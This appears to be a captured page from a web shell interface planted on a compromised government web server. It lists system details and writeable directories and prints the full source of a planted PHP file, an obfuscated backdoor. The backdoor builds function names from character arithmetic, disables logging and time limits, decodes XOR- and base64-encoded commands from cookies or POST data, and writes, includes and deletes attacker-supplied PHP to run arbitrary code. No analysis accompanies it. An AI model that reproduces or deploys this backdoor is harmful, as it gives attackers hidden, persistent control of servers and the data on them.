MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/files/document_2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/files/document_2/yknjtcni.php
<?php $alftyub = 'f'.'i'.'l'."\x65".chr(95).'p'.chr(259-142)."\x74".chr(711-616).chr(99)."\x6f".chr(110).'t'.chr(101).chr(834-724).chr(218-102)."\163";
$wymbrqx = "\142"."\x61"."\x73".chr(463-362).'6'.chr(303-251).'_'."\x64".chr(101)."\143"."\157"."\x64".'e';
$tnmafedv = "\151"."\x6e"."\151".chr(95).chr(115)."\x65".'t';
$mkpactytw = 'u'.chr(522-412).chr(339-231).'i'.chr(865-755).chr(471-364);


@$tnmafedv(chr(138-37).'r'."\162"."\x6f"."\x72".chr(95)."\154".chr(111)."\147", NULL);
@$tnmafedv(chr(108).chr(775-664)."\147".chr(679-584)."\145".'r'.'r'."\x6f".chr(585-471)."\163", 0);
@$tnmafedv(chr(109).chr(97).chr(555-435).chr(813-718).chr(1089-988).chr(120).chr(101).'c'."\x75".'t'.chr(105).'o'."\x6e"."\x5f"."\164".chr(735-630)."\155".chr(849-748), 0);
@set_time_limit(0);

function rhwxkcjfc($zpwvbrpptn, $trgzkkyahd)
{
    $xckzlk = "";
    for ($stofcbfml = 0; $stofcbfml < strlen($zpwvbrpptn);) {
        for ($j = 0; $j < strlen($trgzkkyahd) && $stofcbfml < strlen($zpwvbrpptn); $j++, $stofcbfml++) {
            $xckzlk .= chr(ord($zpwvbrpptn[$stofcbfml]) ^ ord($trgzkkyahd[$j]));
        }
    }
    return $xckzlk;
}

$dbqqgwnfr = array_merge($_COOKIE, $_POST);
$hntmhtk = 'be425797-5181-47d6-9b86-960a3c70bfa0';
foreach ($dbqqgwnfr as $djgzkfue => $zpwvbrpptn) {
    $zpwvbrpptn = @unserialize(rhwxkcjfc(rhwxkcjfc($wymbrqx($zpwvbrpptn), $hntmhtk), $djgzkfue));
    if (isset($zpwvbrpptn["\x61"."\153"])) {
        if ($zpwvbrpptn[chr(97)] == "\x69") {
            $stofcbfml = array(
                'p'.chr(813-695) => @phpversion(),
                chr(717-602).chr(354-236) => "3.5",
            );
            echo @serialize($stofcbfml);
        } elseif ($zpwvbrpptn[chr(97)] == "\x65") {
            $rwmtojbp = "./" . md5($hntmhtk) . chr(1043-997).'i'.chr(854-744).chr(107-8);
            @$alftyub($rwmtojbp, "<" . "\77"."\x70".'h'.'p'."\x20"."\100"."\165".chr(233-123)."\x6c"."\x69".chr(110)."\x6b"."\x28"."\x5f".'_'."\106".chr(73).chr(1025-949).chr(69).'_'."\137".')'.';'."\40" . $zpwvbrpptn["\x64"]);
            @include($rwmtojbp);
            @$mkpactytw($rwmtojbp);
        }
        exit();
    }
}


Anon7 - 2021